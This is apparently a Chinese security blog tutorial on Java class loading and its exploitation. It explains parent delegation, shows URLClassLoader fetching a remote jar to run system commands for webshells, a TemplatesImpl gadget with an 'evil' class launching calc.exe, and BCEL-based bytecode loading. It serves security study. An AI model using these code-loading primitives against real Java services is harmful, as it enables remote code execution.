前言

我们通常会把编程语言的处理器分为解释器编译器。解释器是一种用于执行程序的软件,它会根据程序代码中的算法执行运算,逐行读取源代码,逐行解释执行,如果这个执行软件是根据虚拟的或者类似机器语言的程序设计语言写成,那也称为虚拟机。编译器则是将某种语言代码转换为另外一种语言的程序,通常会转换为机器语言。

例如php就是解释型语言。每个平台都有对应的php解释器版本,指针对不同平台均编译出目标平台的二进制码;php解释器会将PHP代码解释为opcode之后再交由Zend引擎执行。

Java 字节码

Java混用解释器和编译器,在运行之前需要先编译一遍,编译过后就会形成.class文件,然后运行在不同平台的JVM虚拟机中

所以字节码就是能在JVM虚拟机中加载成一个类的字节序列

classloader

Java类初始化的时候会调用java.lang.ClassLoader加载类字节码

1
2
// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");//在 Java 中,每个对象都有一个 getClass() 方法,该方法返回该对象所属的类的 Class 对象

loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//java/lang/ClassLoader#loadClass
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// 检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
Class<?> c = findLoadedClass(name);
//java中双亲委派机制
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {//启动类加载器是虚拟机实现的一部分,它不是一个普通的Java对象,因此无法在Java代码中直接引用

}
if (c == null) {
long t1 = System.nanoTime();
c = findClass(name);//查找指定的Java类,找到后调用this.defineClass加载类

ClassLoader类的加载策略

类加载器的分类

  1. 从Java虚拟机的角度来说
    只存在两种不同的类加载器:一种是启动类加载器(Bootstrap ClassLoader),这个类加载器使用C++语言实现(HotSpot虚拟机中),是虚拟机自身的一部分,不能被java程序直接调用;
    另一种就是所有其他的类加载器,这些类加载器都有Java语言实现,独立于虚拟机外部,并且全部继承自java.lang.ClassLoader

  2. 从加载范围的角度来说
    启动类加载器(Bootstrap ClassLoader):这个类加载器负责将将 Java_Home/lib下的类库加载到虚拟机内存中,

扩展类加载器(Extendsion ClassLoader):这个类加载器负责加载Java_Home\lib\ext下的类库,用来加载java的扩展库,开发者可以直接使用这个类加载器.

应用程序类加载器(Application ClassLoader):这个类加载器负责加载用户类路径(CLASSPATH)下的类库,一般我们编写的java类都是由这个类加载器加载

类加载模型

1552525
如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的加载器都是如此,因此所有的类加载请求都会传给顶层的启动类加载器,只有当父加载器反馈自己无法完成该加载请求(该加载器的搜索范围中没有找到对应的类)时,子加载器才会尝试自己去加载(递归实现的,上面代码已经给出实现过程)

它们之间的层次关系被称为类加载器的双亲委派模型,注意这里的“继承顺序”实际上是加载顺序,实际上AppClassLoader和ExtClassLoader是平行的,都是继承于URLClassLoader

类加载隔离

JVM 及 Dalvik 对类唯一的识别是 ClassLoader id + PackageName + ClassName,所以一个运行程序中是有可能存在两个包名和类名完全一致的类的。并且如果这两个”类”不是由一个 ClassLoader 加载,是无法将一个类的示例强转为另外一个类的,这就是 ClassLoader 隔离
202110251829223

URLClassLoader

URLClassLoader继承了ClassLoader,且ExtClassLoader、AppClassLoader等都是 URLClassLoader 的子类,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/ 定义远程加载的jar路径
URL url = new URL("https://anbai.io/tools/cmd.jar");

// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});

// 定义需要执行的系统命令
String cmd = "ls";

// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");

// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

Class.forName()

类的初始化:是完成程序执行前的准备工作。在这个阶段,静态的(变量,方法,代码块)会被执行。同时在会开辟一块存储空间用来存放静态的数据。

类的实例化:是指创建一个对象的过程。这个过程中会在堆中开辟内存,将一些非静态的方法(构造代码块,构造方法等等),变量存放在里面。在程序执行的过程中,可以创建多个对象,既多次实例化。每次实例化都会开辟一块新的内存。

与ClassLoader.loadClass()的区别

  1. forName() 默认会对类进行初始化,会执行类中的 static 代码块。而ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。
  2. Class.forName不支持原生类型,Class.loadClass不能加载原生类型和数组类型(不管该数组的类型是否可以被加载)
    1
    2
    3
    Class.forName(className)
    // 等于
    Class.forName(className, true, currentLoader)//Class.forName() 也可以用来动态加载指定的类,它会返回一个指定类/接口的 Class 对象,如果没有指定ClassLoader, 那么它通常会使用系统类加载器(AppClassLoader)
    1
    2
    // 反射加载TestHelloWorld示例
    Class.forName("com.anbai.sec.classloader.TestHelloWorld");

类加载机制的利用

利用TemplatesImpl加载字节码

defineClass可以将字节码注册为类,但是由于defineClass方法是受保护的,只能在ClassLoader的子类中使用,而且需要足够的权限和访问级别。Class.forName方法并不提供直接访问ClassLoader的defineClass方法的途径
但是有一些Java底层的类用到了它,如TemplatesImpl
TemplatesImpl类是Java XSLT编译器(XML到另一个XML转换的规则和操作)的一个实现类,负责将XSLT模板转换成XML数据,定义了创建和操作XSLT模板的方法。
利用链:
//TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//1

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;//_name != null

if (_class == null) defineTransletClasses();//2

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//这里实例化了加载的类


private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());//_tfactory 需要是一个TransformerFactoryImpl 对象,是null会出错
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//3
final Class superClass = _class[i].getSuperclass();

// private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;//_transletIndex的默认值为-1
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {//若前面_transletIndex没被赋值会报错
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
...............

Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
//这个字节码对应的类必须要是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类(有检测)
public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public evil() throws Exception{
super();
String[] command = {"calc.exe"};
Runtime.getRuntime().exec(command);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class de1class {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()};
TemplatesImpl obj = new TemplatesImpl();
//还得利用反射设置TemplatesImpl对象的三个私有属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});//由字节码组成的数组
setFieldValue(obj, "_name", "mayylu");//任意字符串,只要不为 null 即可
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());//需要是一个TransformerFactoryImpl 对象
obj.newTransformer();
}
}

利用BCEL加载字节码

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。提供了一系列用于分析、创建、修改Java Class文件的API,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader(注意在Java 8u251以后,com.sun.org.apache.bcel.internal.util.ClassLoader类被删除)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class ClassLoader extends java.lang.ClassLoader {
private String[] ignored_packages = {
"java.", "javax.", "sun."
};
private java.lang.ClassLoader deferTo = ClassLoader.getSystemClassLoader();


protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;

/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);//如果class_name是java.", "javax.", "sun.开头的就当成类名加载
break;
}
}

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);////带有$$BCEL$$的类时会截取出$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode将字符串解析成类字节码
else {
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);//调用defineClass注册解码后的类
} else
cl = Class.forName(class_name);//
}

if(resolve)
resolveClass(cl);
}

classes.put(class_name, cl);

return cl;
}


可见使用该自定义类加载器时特定情况下可以把传入的类名转换成字节码加载
BasicDataSource的toString()方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法,在createConnectionFactory方法中,调用了Class.forName(driverClassName, true, driverClassLoader)